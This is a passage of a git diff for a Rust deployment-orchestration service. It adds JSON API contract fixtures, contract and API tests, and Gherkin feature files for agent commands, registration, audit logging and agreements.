+      "configHash": "cfg-upload"
+    }
+  ],
+  "drift": {
+    "hasDrift": false,
+    "summary": "no drift detected"
+  },
+  "lastCommand": {
+    "type": "deploy_app",
+    "status": "success",
+    "finishedAt": "2026-05-17T08:05:00Z"
+  }
+}
diff --git a/tests/contracts/stacker-explain-env.v1alpha1.contract.json b/tests/contracts/stacker-explain-env.v1alpha1.contract.json
new file mode 100644
index 00000000..09f99033
--- /dev/null
+++ b/tests/contracts/stacker-explain-env.v1alpha1.contract.json
@@ -0,0 +1,19 @@
+{
+  "title": "stacker-explain-env-v1alpha1",
+  "_owner": "stacker",
+  "schemaVersion": "v1alpha1",
+  "response": {
+    "required": [
+      "schemaVersion",
+      "deploymentHash",
+      "appCode",
+      "localAuthoringEnvPath",
+      "runtimeEnvPath",
+      "runtimeComposePath",
+      "layers",
+      "destination",
+      "renderedEnv",
+      "reasoning"
+    ]
+  }
+}
diff --git a/tests/contracts/stacker-explain-env.v1alpha1.json b/tests/contracts/stacker-explain-env.v1alpha1.json
new file mode 100644
index 00000000..9d110d31
--- /dev/null
+++ b/tests/contracts/stacker-explain-env.v1alpha1.json
@@ -0,0 +1,43 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "appCode": "device-api",
+  "localAuthoringEnvPath": "docker/prod/.env",
+  "runtimeEnvPath": "/home/trydirect/project/.env",
+  "runtimeComposePath": "/home/trydirect/project/docker-compose.yml",
+  "layers": [
+    {
+      "name": "base",
+      "keyNames": ["HOST", "PORT"],
+      "keyCount": 2,
+      "hash": "f89ee522d1c00c23ec3fc267fef028f44c92ec4fb2c2fdb3dbffdd1248a0ba32"
+    },
+    {
+      "name": "server",
+      "keyNames": ["DATABASE_URL"],
+      "keyCount": 1,
+      "hash": "18895d1f5c7f8f22974911d8626ee4dc9e7e00edcca8bbd8050550c1cbb34f84"
+    },
+    {
+      "name": "service",
+      "keyNames": ["DATABASE_URL"],
+      "keyCount": 1,
+      "hash": "9862a0f6f605f149bdbaf0ea47b4601bdc7884b42d0bf50a4a87f6d096bcda7e"
+    }
+  ],
+  "destination": {
+    "path": "/home/trydirect/project/.env",
+    "writePolicy": "drift-protected",
+    "driftProtection": true
+  },
+  "renderedEnv": {
+    "hash": "6333a2f8f2782f6ddbce4f8f16118bd38edb542cdbf2136097b89fdad2cbe64d",
+    "inputs": ["base", "server", "service"],
+    "serverSecretsInherited": true,
+    "serviceSecretsOverrideServerSecrets": true
+  },
+  "reasoning": [
+    "runtime env path is resolved from the canonical remote env path helper",
+    "env layers are merged in precedence order: base -> server -> service -> compose"
+  ]
+}
diff --git a/tests/contracts/stacker-explain-topology.v1alpha1.contract.json b/tests/contracts/stacker-explain-topology.v1alpha1.contract.json
new file mode 100644
index 00000000..03aac3df
--- /dev/null
+++ b/tests/contracts/stacker-explain-topology.v1alpha1.contract.json
@@ -0,0 +1,18 @@
+{
+  "title": "stacker-explain-topology-v1alpha1",
+  "_owner": "stacker",
+  "schemaVersion": "v1alpha1",
+  "response": {
+    "required": [
+      "schemaVersion",
+      "deploymentHash",
+      "target",
+      "localComposePath",
+      "runtimeComposePath",
+      "localAuthoringEnvPath",
+      "runtimeEnvPath",
+      "services",
+      "reasoning"
+    ]
+  }
+}
diff --git a/tests/contracts/stacker-explain-topology.v1alpha1.json b/tests/contracts/stacker-explain-topology.v1alpha1.json
new file mode 100644
index 00000000..6c86924f
--- /dev/null
+++ b/tests/contracts/stacker-explain-topology.v1alpha1.json
@@ -0,0 +1,25 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "target": "cloud",
+  "localComposePath": "docker/prod/compose.yml",
+  "runtimeComposePath": "/home/trydirect/project/docker-compose.yml",
+  "localAuthoringEnvPath": "docker/prod/.env",
+  "runtimeEnvPath": "/home/trydirect/project/.env",
+  "services": [
+    {
+      "code": "device-api",
+      "name": "Device API",
+      "enabled": true
+    },
+    {
+      "code": "upload",
+      "name": "Upload",
+      "enabled": true
+    }
+  ],
+  "reasoning": [
+    "runtime compose path is fixed to the canonical remote deployment location",
+    "runtime env path is shared across deployed services for the target deployment"
+  ]
+}
diff --git a/tests/contracts/stacker-typed-error.v1alpha1.contract.json b/tests/contracts/stacker-typed-error.v1alpha1.contract.json
new file mode 100644
index 00000000..404cfbe8
--- /dev/null
+++ b/tests/contracts/stacker-typed-error.v1alpha1.contract.json
@@ -0,0 +1,27 @@
+{
+  "title": "stacker-typed-error-v1alpha1",
+  "_owner": "stacker",
+  "version": "v1alpha1",
+  "surfaces": ["cli", "api", "mcp"],
+  "response": {
+    "type": "object",
+    "required": [
+      "schemaVersion",
+      "code",
+      "message",
+      "retryable",
+      "remediationClass"
+    ],
+    "properties": {
+      "schemaVersion": { "type": "string", "const": "v1alpha1" },
+      "code": { "type": "string" },
+      "message": { "type": "string" },
+      "retryable": { "type": "boolean" },
+      "remediationClass": { "type": "string" },
+      "context": {
+        "type": "object",
+        "additionalProperties": { "type": "string" }
+      }
+    }
+  }
+}
diff --git a/tests/contracts/stacker-typed-error.v1alpha1.deployment-capability-missing.json b/tests/contracts/stacker-typed-error.v1alpha1.deployment-capability-missing.json
new file mode 100644
index 00000000..224f904b
--- /dev/null
+++ b/tests/contracts/stacker-typed-error.v1alpha1.deployment-capability-missing.json
@@ -0,0 +1,11 @@
+{
+  "schemaVersion": "v1alpha1",
+  "code": "deployment_capability_missing",
+  "message": "Deployment agent does not support compose logs",
+  "retryable": false,
+  "remediationClass": "capability",
+  "context": {
+    "deploymentHash": "deployment_demo",
+    "capability": "compose_logs"
+  }
+}
diff --git a/tests/deploy_plan_contract.rs b/tests/deploy_plan_contract.rs
new file mode 100644
index 00000000..75fa34a8
--- /dev/null
+++ b/tests/deploy_plan_contract.rs
@@ -0,0 +1,105 @@
+use serde_json::Value;
+
+use stacker::services::{DeployPlan, DEPLOY_PLAN_SCHEMA_VERSION};
+
+fn load_contract() -> Value {
+    serde_json::from_str(include_str!(
+        "contracts/stacker-deploy-plan.v1alpha1.contract.json"
+    ))
+    .expect("deploy plan contract JSON should be valid")
+}
+
+#[test]
+fn deploy_plan_contract_metadata_is_correct() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-deploy-plan-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+}
+
+#[test]
+fn deploy_plan_contract_requires_core_fields() {
+    let contract = load_contract();
+    let required = contract["response"]["required"]
+        .as_array()
+        .expect("required should be an array");
+    let required_names: Vec<&str> = required.iter().filter_map(|v| v.as_str()).collect();
+
+    for field in [
+        "schemaVersion",
+        "deploymentHash",
+        "operation",
+        "target",
+        "fingerprint",
+        "scope",
+        "hasChanges",
+        "actions",
+        "reasoning",
+    ] {
+        assert!(
+            required_names.contains(&field),
+            "required fields must include {field}"
+        );
+    }
+}
+
+#[test]
+fn no_changes_fixture_deserializes_into_shared_type() {
+    let plan: DeployPlan = serde_json::from_str(include_str!(
+        "contracts/stacker-deploy-plan.v1alpha1.no-changes.json"
+    ))
+    .expect("no changes fixture should deserialize");
+
+    assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION);
+    assert!(!plan.has_changes);
+    assert!(plan.actions.is_empty());
+}
+
+#[test]
+fn env_drift_fixture_deserializes_into_shared_type() {
+    let plan: DeployPlan = serde_json::from_str(include_str!(
+        "contracts/stacker-deploy-plan.v1alpha1.env-drift.json"
+    ))
+    .expect("env drift fixture should deserialize");
+
+    assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION);
+    assert!(plan.has_changes);
+    assert_eq!(plan.actions.len(), 2);
+}
+
+#[test]
+fn deploy_app_fixture_deserializes_into_shared_type() {
+    let plan: DeployPlan = serde_json::from_str(include_str!(
+        "contracts/stacker-deploy-plan.v1alpha1.deploy-app.json"
+    ))
+    .expect("deploy-app fixture should deserialize");
+
+    assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION);
+    assert!(plan.has_changes);
+    assert_eq!(plan.scope.mode, "app");
+    assert_eq!(plan.scope.app_code.as_deref(), Some("upload"));
+}
+
+#[test]
+fn rollback_fixture_deserializes_into_shared_type() {
+    let plan: DeployPlan = serde_json::from_str(include_str!(
+        "contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json"
+    ))
+    .expect("rollback fixture should deserialize");
+
+    assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION);
+    assert!(plan.has_changes);
+    assert_eq!(
+        plan.operation,
+        stacker::services::DeployPlanOperation::RollbackDeploy
+    );
+    assert_eq!(
+        plan.rollback
+            .as_ref()
+            .map(|item| item.resolved_version.as_str()),
+        Some("1.1.0")
+    );
+}
diff --git a/tests/deployment_events_contract.rs b/tests/deployment_events_contract.rs
new file mode 100644
index 00000000..f36ea232
--- /dev/null
+++ b/tests/deployment_events_contract.rs
@@ -0,0 +1,49 @@
+use serde_json::Value;
+
+use stacker::services::{DeploymentEventFeed, DEPLOYMENT_EVENTS_SCHEMA_VERSION};
+
+fn load_contract() -> Value {
+    serde_json::from_str(include_str!(
+        "contracts/stacker-deployment-events.v1alpha1.contract.json"
+    ))
+    .expect("deployment events contract JSON should be valid")
+}
+
+#[test]
+fn deployment_events_contract_metadata_is_correct() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-deployment-events-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+}
+
+#[test]
+fn deployment_events_contract_requires_core_fields() {
+    let contract = load_contract();
+    let required = contract["response"]["required"]
+        .as_array()
+        .expect("required should be an array");
+    let required_names: Vec<&str> = required.iter().filter_map(|v| v.as_str()).collect();
+
+    for field in ["schemaVersion", "deploymentHash", "events"] {
+        assert!(
+            required_names.contains(&field),
+            "required fields must include {field}"
+        );
+    }
+}
+
+#[test]
+fn deployment_events_fixture_deserializes_into_shared_type() {
+    let feed: DeploymentEventFeed = serde_json::from_str(include_str!(
+        "contracts/stacker-deployment-events.v1alpha1.sample.json"
+    ))
+    .expect("deployment events fixture should deserialize");
+
+    assert_eq!(feed.schema_version, DEPLOYMENT_EVENTS_SCHEMA_VERSION);
+    assert_eq!(feed.events.len(), 3);
+    assert_eq!(feed.events[0].sequence, 1);
+}
diff --git a/tests/deployment_plan_api.rs b/tests/deployment_plan_api.rs
new file mode 100644
index 00000000..15b3035b
--- /dev/null
+++ b/tests/deployment_plan_api.rs
@@ -0,0 +1,30 @@
+mod common;
+
+use reqwest::StatusCode;
+
+#[tokio::test]
+async fn owner_can_fetch_deployment_plan() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
+    let hash = format!("dpl-{}", uuid::Uuid::new_v4());
+    let _deployment_id =
+        common::create_test_deployment(&app.db_pool, common::USER_A_ID, project_id, &hash).await;
+
+    let resp = client
+        .get(format!("{}/api/v1/deployments/{}/plan", app.address, hash))
+        .query(&[("operation", "deploy"), ("target", "cloud")])
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status(), StatusCode::OK);
+    let body: serde_json::Value = resp.json().await.unwrap();
+    assert_eq!(body["item"]["schemaVersion"].as_str().unwrap(), "v1alpha1");
+    assert_eq!(body["item"]["deploymentHash"].as_str().unwrap(), hash);
+    assert_eq!(body["item"]["operation"].as_str().unwrap(), "deploy");
+}
diff --git a/tests/deployment_state_contract.rs b/tests/deployment_state_contract.rs
new file mode 100644
index 00000000..45ad514a
--- /dev/null
+++ b/tests/deployment_state_contract.rs
@@ -0,0 +1,80 @@
+use serde_json::Value;
+
+use stacker::services::deployment_state::{DeploymentState, DEPLOYMENT_STATE_SCHEMA_VERSION};
+
+fn load_contract() -> Value {
+    serde_json::from_str(include_str!(
+        "contracts/stacker-deployment-state.v1alpha1.contract.json"
+    ))
+    .expect("deployment state contract JSON should be valid")
+}
+
+fn load_online_fixture() -> &'static str {
+    include_str!("contracts/stacker-deployment-state.v1alpha1.online.json")
+}
+
+fn load_offline_fixture() -> &'static str {
+    include_str!("contracts/stacker-deployment-state.v1alpha1.offline.json")
+}
+
+#[test]
+fn deployment_state_contract_metadata_is_correct() {
+    let contract = load_contract();
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-deployment-state-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+    assert_eq!(
+        contract["endpoint"]["path"].as_str().unwrap(),
+        "/api/v1/deployments/{deployment_hash}/state"
+    );
+}
+
+#[test]
+fn deployment_state_contract_requires_canonical_top_level_fields() {
+    let contract = load_contract();
+    let required = contract["response"]["required"]
+        .as_array()
+        .expect("required should be an array");
+    let required_names: Vec<&str> = required.iter().filter_map(|v| v.as_str()).collect();
+
+    for field in [
+        "schemaVersion",
+        "project",
+        "deployment",
+        "agent",
+        "runtime",
+        "apps",
+        "drift",
+    ] {
+        assert!(
+            required_names.contains(&field),
+            "required fields must include {field}"
+        );
+    }
+}
+
+#[test]
+fn online_fixture_deserializes_into_shared_deployment_state_type() {
+    let state: DeploymentState =
+        serde_json::from_str(load_online_fixture()).expect("online fixture should deserialize");
+
+    assert_eq!(state.schema_version, DEPLOYMENT_STATE_SCHEMA_VERSION);
+    assert_eq!(state.deployment.deployment_hash, "deployment_state_online");
+    assert_eq!(state.agent.status, "online");
+    assert_eq!(state.apps.len(), 2);
+}
+
+#[test]
+fn offline_fixture_deserializes_and_omits_optional_agent_fields() {
+    let state: DeploymentState =
+        serde_json::from_str(load_offline_fixture()).expect("offline fixture should deserialize");
+
+    assert_eq!(state.schema_version, DEPLOYMENT_STATE_SCHEMA_VERSION);
+    assert_eq!(state.deployment.deployment_hash, "deployment_state_offline");
+    assert_eq!(state.agent.status, "offline");
+    assert!(state.agent.id.is_none());
+    assert!(state.last_command.is_none());
+}
diff --git a/tests/dockerhub.rs b/tests/dockerhub.rs
index e2662227..48f4c72d 100644
--- a/tests/dockerhub.rs
+++ b/tests/dockerhub.rs
@@ -5,10 +5,8 @@ use docker_compose_types::ComposeVolume;
 mod common;
 use stacker::forms::project::DockerImage;
 // use stacker::helpers::project::dctypes::{ComposeVolume, SingleValue};
-use serde_yaml;
 use stacker::forms::project::Volume;
 
-const DOCKER_USERNAME: &str = "trydirect";
 const DOCKER_PASSWORD: &str = "**********";
 //  Unit Test
 
@@ -57,6 +55,7 @@ const DOCKER_PASSWORD: &str = "**********";
 // }
 
 #[tokio::test]
+#[ignore = "requires real DockerHub credentials (DOCKER_PASSWORD); run manually with --include-ignored"]
 async fn test_docker_hub_successful_login() {
     if common::spawn_app().await.is_none() {
         return;
@@ -71,11 +70,13 @@ async fn test_docker_hub_successful_login() {
         dockerhub_name: Some(String::from("nginx-waf")),
         dockerhub_image: None,
         dockerhub_password: Some(String::from(DOCKER_PASSWORD)),
+        dockerhub_tag: None,
     };
-    assert_eq!(di.is_active().await.unwrap(), true);
+    assert!(di.is_active().await.unwrap());
 }
 
 #[tokio::test]
+#[ignore = "requires real DockerHub credentials (DOCKER_PASSWORD); run manually with --include-ignored"]
 async fn test_docker_private_exists() {
     if common::spawn_app().await.is_none() {
         return;
@@ -85,8 +86,9 @@ async fn test_docker_private_exists() {
         dockerhub_name: Some(String::from("nginx-waf")),
         dockerhub_image: None,
         dockerhub_password: Some(String::from(DOCKER_PASSWORD)),
+        dockerhub_tag: None,
     };
-    assert_eq!(di.is_active().await.unwrap(), true);
+    assert!(di.is_active().await.unwrap());
 }
 
 #[tokio::test]
@@ -99,8 +101,9 @@ async fn test_public_repo_is_accessible() {
         dockerhub_name: Some(String::from("nginx")),
         dockerhub_image: None,
         dockerhub_password: Some(String::from("")),
+        dockerhub_tag: None,
     };
-    assert_eq!(di.is_active().await.unwrap(), true);
+    assert!(di.is_active().await.unwrap());
 }
 #[tokio::test]
 async fn test_docker_non_existent_repo() {
@@ -112,9 +115,10 @@ async fn test_docker_non_existent_repo() {
         dockerhub_name: Some(String::from("nonexistent")), //repo
         dockerhub_image: None, // namesps/reponame:tag full docker image string
         dockerhub_password: Some(String::from("")),
+        dockerhub_tag: None,
     };
     println!("{}", di.is_active().await.unwrap());
-    assert_eq!(di.is_active().await.unwrap(), false);
+    assert!(!di.is_active().await.unwrap());
 }
 
 #[tokio::test]
@@ -127,8 +131,9 @@ async fn test_docker_non_existent_repo_empty_namespace() {
         dockerhub_name: Some(String::from("nonexistent")), //repo
         dockerhub_image: None, // namesps/reponame:tag full docker image string
         dockerhub_password: Some(String::from("")),
+        dockerhub_tag: None,
     };
-    assert_eq!(di.is_active().await.unwrap(), true);
+    assert!(di.is_active().await.unwrap());
 }
 
 #[tokio::test]
diff --git a/tests/explain_contract.rs b/tests/explain_contract.rs
new file mode 100644
index 00000000..7ab234c7
--- /dev/null
+++ b/tests/explain_contract.rs
@@ -0,0 +1,56 @@
+use serde_json::Value;
+
+use stacker::services::{ExplainEnv, ExplainTopology, EXPLAIN_SCHEMA_VERSION};
+
+fn load_contract(path: &str) -> Value {
+    serde_json::from_str(path).expect("contract JSON should be valid")
+}
+
+#[test]
+fn explain_env_contract_metadata_is_correct() {
+    let contract = load_contract(include_str!(
+        "contracts/stacker-explain-env.v1alpha1.contract.json"
+    ));
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-explain-env-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+}
+
+#[test]
+fn explain_topology_contract_metadata_is_correct() {
+    let contract = load_contract(include_str!(
+        "contracts/stacker-explain-topology.v1alpha1.contract.json"
+    ));
+
+    assert_eq!(
+        contract["title"].as_str().unwrap(),
+        "stacker-explain-topology-v1alpha1"
+    );
+    assert_eq!(contract["_owner"].as_str().unwrap(), "stacker");
+}
+
+#[test]
+fn explain_env_fixture_deserializes_and_stays_redacted() {
+    let fixture = include_str!("contracts/stacker-explain-env.v1alpha1.json");
+    let explain: ExplainEnv =
+        serde_json::from_str(fixture).expect("env fixture should deserialize");
+
+    assert_eq!(explain.schema_version, EXPLAIN_SCHEMA_VERSION);
+    assert_eq!(explain.deployment_hash, "deployment_state_online");
+    assert_eq!(explain.app_code, "device-api");
+    assert!(!fixture.contains("SUPER_SECRET_SHOULD_NOT_LEAK"));
+}
+
+#[test]
+fn explain_topology_fixture_deserializes() {
+    let fixture = include_str!("contracts/stacker-explain-topology.v1alpha1.json");
+    let explain: ExplainTopology =
+        serde_json::from_str(fixture).expect("topology fixture should deserialize");
+
+    assert_eq!(explain.schema_version, EXPLAIN_SCHEMA_VERSION);
+    assert_eq!(explain.target, "cloud");
+    assert_eq!(explain.services.len(), 2);
+}
diff --git a/tests/features/agent_audit.feature b/tests/features/agent_audit.feature
new file mode 100644
index 00000000..562a79e4
--- /dev/null
+++ b/tests/features/agent_audit.feature
@@ -0,0 +1,30 @@
+Feature: Agent Audit Log
+  As a service operator I can ingest and query audit events
+  via the /api/v1/agent/audit endpoints.
+
+  Scenario: Ingest audit events with valid internal key
+    Given I am authenticated as User A
+    When I ingest audit events for installation "bdd-audit-hash"
+    Then the response status should be 200
+
+  Scenario: Ingest audit events with invalid internal key
+    Given I am authenticated as User A
+    When I ingest audit events with invalid internal key
+    Then the response status should be 401
+
+  Scenario: Query audit events
+    Given I am authenticated as User A
+    And I have ingested audit events for installation "bdd-audit-query"
+    When I query audit events for installation "bdd-audit-query"
+    Then the response status should be 200
+
+  Scenario: Query audit events with event_type filter
+    Given I am authenticated as User A
+    And I have ingested audit events for installation "bdd-audit-filter"
+    When I query audit events for installation "bdd-audit-filter" with event type "deploy_start"
+    Then the response status should be 200
+
+  Scenario: Ingest empty batch
+    Given I am authenticated as User A
+    When I ingest empty audit batch for installation "bdd-audit-empty"
+    Then the response status should be 200
diff --git a/tests/features/agent_commands.feature b/tests/features/agent_commands.feature
new file mode 100644
index 00000000..cb43b396
--- /dev/null
+++ b/tests/features/agent_commands.feature
@@ -0,0 +1,87 @@
+Feature: Agent Commands
+  As a user and agent
+  I want to create, poll, execute, and report commands
+  So that I can manage deployments remotely
+
+  Background:
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-cmd-deploy"
+
+  Scenario: Create a command for a deployment
+    When I create a command for deployment "bdd-cmd-deploy" with type "health"
+    Then the response status should be 201
+    And the response JSON at "/item/command_id" should not be empty
+    And the response JSON at "/item/status" should be "queued"
+
+  Scenario: Create a command with high priority
+    When I create a command for deployment "bdd-cmd-deploy" with type "restart_service" and priority "high"
+    Then the response status should be 201
+
+  Scenario: List commands for a deployment
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "health"
+    When I list commands for deployment "bdd-cmd-deploy"
+    Then the response status should be 200
+
+  Scenario: Get a specific command
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "health"
+    When I get the stored command for deployment "bdd-cmd-deploy"
+    Then the response status should be 200
+    And the response JSON at "/item/type" should be "health"
+
+  Scenario: Cancel a queued command fails due to ID mismatch bug
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "health"
+    When I cancel the stored command for deployment "bdd-cmd-deploy"
+    Then the response status should be 500
+
+  Scenario: Create a command with parameters
+    When I create a command for deployment "bdd-cmd-deploy" with type "restart_service" and parameters
+      | key            | value     |
+      | container_name | nginx     |
+      | force          | true      |
+    Then the response status should be 201
+
+  Scenario: List commands with limit
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "health"
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "restart_service"
+    When I list commands for deployment "bdd-cmd-deploy" with limit 1
+    Then the response status should be 200
+
+  Scenario: Create command rejects empty deployment_hash
+    When I create a command with empty deployment hash
+    Then the response status should be 400
+
+  Scenario: Create command rejects empty command_type
+    When I create a command with empty command type
+    Then the response status should be 400
+
+  Scenario: Create command rejects invalid log parameters
+    When I create a logs command with invalid limit
+    Then the response status should be 400
+
+  Scenario: Get command returns 404 for nonexistent command_id
+    When I get command "cmd_nonexistent" for deployment "bdd-cmd-deploy"
+    Then the response status should be 404
+
+  Scenario: User B cannot list User A deployment commands
+    Given I have created a command for deployment "bdd-cmd-deploy" with type "health"
+    When I switch to User B
+    And I list commands for deployment "bdd-cmd-deploy"
+    Then the response status should be 404
+
+  Scenario: Create command auto-creates deployment when hash unknown
+    When I create a command for deployment "bdd-cmd-auto-create" with type "health"
+    Then the response status should be 201
+    And the response JSON at "/item/deployment_hash" should be "bdd-cmd-auto-create"
+
+  Scenario: Create health command for all containers
+    When I create a health-all command for deployment "bdd-cmd-deploy"
+    Then the response status should be 201
+
+  Scenario: Create restart command with app_code
+    When I create a restart command for app "nginx" on deployment "bdd-cmd-deploy"
+    Then the response status should be 201
+
+  Scenario: Enqueue a command via agent endpoint
+    When I enqueue a command for deployment "bdd-cmd-deploy" with type "health"
+    Then the response status should be 201
+    And the response JSON at "/item/command_id" should not be empty
diff --git a/tests/features/agent_executor.feature b/tests/features/agent_executor.feature
new file mode 100644
index 00000000..580af0de
--- /dev/null
+++ b/tests/features/agent_executor.feature
@@ -0,0 +1,110 @@
+Feature: Agent Executor Protocol
+  As a pipe orchestrator
+  I want an agent-executor that processes step commands via AMQP protocol
+  So that step execution is decoupled from the main server
+
+  Background:
+    Given I am authenticated as User A
+
+  # --- Protocol Serialization ---
+
+  Scenario: StepCommand serializes and deserializes correctly
+    Given a StepCommand with step_type "source" and config:
+      """
+      {"url": "https://api.example.com/data", "output": {"rows": 10}}
+      """
+    When the command is serialized to JSON and back
+    Then the deserialized command should match the original
+
+  Scenario: StepResultMsg success serializes correctly
+    Given a successful StepResultMsg with output:
+      """
+      {"rows": 42, "status": "ok"}
+      """
+    When the result is serialized to JSON and back
+    Then the deserialized result status should be "completed"
+    And the deserialized result should have output data
+
+  Scenario: StepResultMsg failure serializes correctly
+    Given a failed StepResultMsg with error "connection refused"
+    When the result is serialized to JSON and back
+    Then the deserialized result status should be "failed"
+    And the deserialized result error should be "connection refused"
+
+  # --- Step Execution via Agent Protocol ---
+
+  Scenario: Execute source step via agent protocol
+    Given a StepCommand with step_type "source" and config:
+      """
+      {"output": {"sensor": "temperature", "value": 23.5}}
+      """
+    When the step is executed via step_executor
+    Then the execution should succeed
+    And the output should contain key "sensor" with value "temperature"
+
+  Scenario: Execute transform step via agent protocol
+    Given a StepCommand with step_type "transform" and config:
+      """
+      {"mapping": {"name": true, "email": true}}
+      """
+    And the step input is:
+      """
+      {"name": "Alice", "email": "alice@example.com", "age": 30}
+      """
+    When the step is executed via step_executor
+    Then the execution should succeed
+    And the output should contain key "name" with value "Alice"
+
+  Scenario: Execute condition step via agent protocol
+    Given a StepCommand with step_type "condition" and config:
+      """
+      {"field": "score", "operator": "gt", "value": 50}
+      """
+    And the step input is:
+      """
+      {"score": 75}
+      """
+    When the step is executed via step_executor
+    Then the execution should succeed
+    And the output should contain key "condition_met" with value "true"
+
+  Scenario: Unknown step type returns error
+    Given a StepCommand with step_type "nonexistent" and config:
+      """
+      {}
+      """
+    When the step is executed via step_executor
+    Then the execution should fail with error containing "Unknown step type"
+
+  # --- Circuit Breaker ---
+
+  Scenario: Circuit breaker blocks after threshold failures
+    Given a circuit breaker with failure_threshold 3 and recovery_timeout 60
+    When I record 3 consecutive failures
+    Then the circuit breaker should be in "open" state
+    And the circuit breaker should reject requests
+
+  Scenario: Circuit breaker recovers after timeout
+    Given a circuit breaker with failure_threshold 2 and recovery_timeout 1
+    When I record 2 consecutive failures
+    Then the circuit breaker should be in "open" state
+    When I wait 2 seconds for recovery
+    Then the circuit breaker should be in "halfopen" state
+    And the circuit breaker should allow requests
+
+  # --- Retry + Resilience ---
+
+  Scenario: Retry exhaustion returns final error
+    Given a StepCommand with step_type "source" and config:
+      """
+      {"error": "simulated failure"}
+      """
+    And a retry policy with max_retries 2 and backoff_base_ms 10
+    When the step is executed with resilience
+    Then the execution should fail with error containing "simulated failure"
+
+  Scenario: Routing key generation
+    Given a deployment hash "deploy-abc-123"
+    Then the execute routing key should be "pipe.step.execute.deploy-abc-123"
+    And the result routing key should be "pipe.step.result.deploy-abc-123"
+    And the agent queue name should be "agent_executor_deploy-abc-123"
diff --git a/tests/features/agent_registration.feature b/tests/features/agent_registration.feature
new file mode 100644
index 00000000..70b11f7f
--- /dev/null
+++ b/tests/features/agent_registration.feature
@@ -0,0 +1,26 @@
+Feature: Agent Registration
+  As a status panel agent
+  I want to register with the Stacker server
+  So that I can receive and execute commands
+
+  Scenario: Register a new agent
+    When I register an agent with deployment hash "bdd-agent-reg-1"
+    Then the response status should be 201
+    And the response JSON should have key "data"
+    And the response should contain an agent_id
+    And the response should contain an agent_token
+
+  Scenario: Re-register an existing agent (idempotent)
+    When I register an agent with deployment hash "bdd-agent-reg-2"
+    Then the response status should be 201
+    When I register an agent with deployment hash "bdd-agent-reg-2"
+    Then the response status should be 200
+
+  Scenario: Register agent with capabilities
+    When I register an agent with deployment hash "bdd-agent-reg-3" and capabilities "docker,logs,compose"
+    Then the response status should be 201
+    And the response should contain an agent_id
+
+  Scenario: Register agent with empty deployment hash
+    When I register an agent with deployment hash ""
+    Then the response status should be 201
diff --git a/tests/features/agent_snapshots.feature b/tests/features/agent_snapshots.feature
new file mode 100644
index 00000000..201f1576
--- /dev/null
+++ b/tests/features/agent_snapshots.feature
@@ -0,0 +1,20 @@
+Feature: Agent Snapshots
+  As a monitoring system
+  I want to get deployment snapshots
+  So that I can display agent and container status
+
+  Scenario: Get snapshot for a deployment with no agent
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-snap-deploy"
+    When I get the snapshot for deployment "bdd-snap-deploy"
+    Then the response status should be 200
+
+  Scenario: Get snapshot for nonexistent deployment
+    When I get the snapshot for deployment "nonexistent-hash-999"
+    Then the response status should be 200
+
+  Scenario: Get project snapshot with no active agent
+    Given I am authenticated as User A
+    And I have a test deployment with hash "bdd-snap-proj"
+    When I get the project snapshot for the stored project
+    Then the response status should be 200
diff --git a/tests/features/agreement.feature b/tests/features/agreement.feature
new file mode 100644
index 00000000..f40f5869
--- /dev/null
+++ b/tests/features/agreement.feature
@@ -0,0 +1,41 @@
+Feature: Agreement Management
+  As a user I want to sign agreements
+  As an admin I want to manage compliance documents
+
+  Background:
+    Given I am authenticated as User A
+
+  Scenario: Admin creates an agreement
+    Given I switch to admin user
+    When I create an agreement with name "Terms of Service" and text "You agree to our terms..."
+    Then the response status should be one of "200, 201"
+    And the response JSON should have key "item"
+
+  Scenario: Admin gets an agreement
+    Given I switch to admin user
+    And I have created an agreement with name "Privacy Policy"
+    When I get the stored agreement as admin
+    Then the response status should be 200
+
+  Scenario: User signs an agreement
+    Given I switch to admin user
+    And I have created an agreement with name "User Agreement"
+    And I switch to User A
+    When I sign the stored agreement
+    Then the response status should be one of "200, 201"
+
+  Scenario: User checks if agreement is signed
+    Given I switch to admin user
+    And I have created an agreement with name "Data Policy"
+    And I switch to User A
+    And I sign the stored agreement
+    When I check if the stored agreement is accepted
+    Then the response status should be 200
+
+  Scenario: Cannot sign same agreement twice
+    Given I switch to admin user
+    And I have created an agreement with name "Duplicate Test"
+    And I switch to User A
+    And I sign the stored agreement
+    When I sign the stored agreement
+    Then the response status should be one of "400, 409, 422"
diff --git a/tests/features/cdc_postgres.feature b/tests/features/cdc_postgres.feature
new file mode 100644
index 00000000..545c05a5
--- /dev/null
+++ b/tests/features/cdc_postgres.feature
@@ -0,0 +1,122 @@
+Feature: CDC PostgreSQL Change Data Capture
+  As a user I want to capture database changes (INSERT/UPDATE/DELETE) from PostgreSQL
+  and route them through pipe DAGs for real-time data integration.
+
+  Background:
+    Given I am authenticated as User A
+
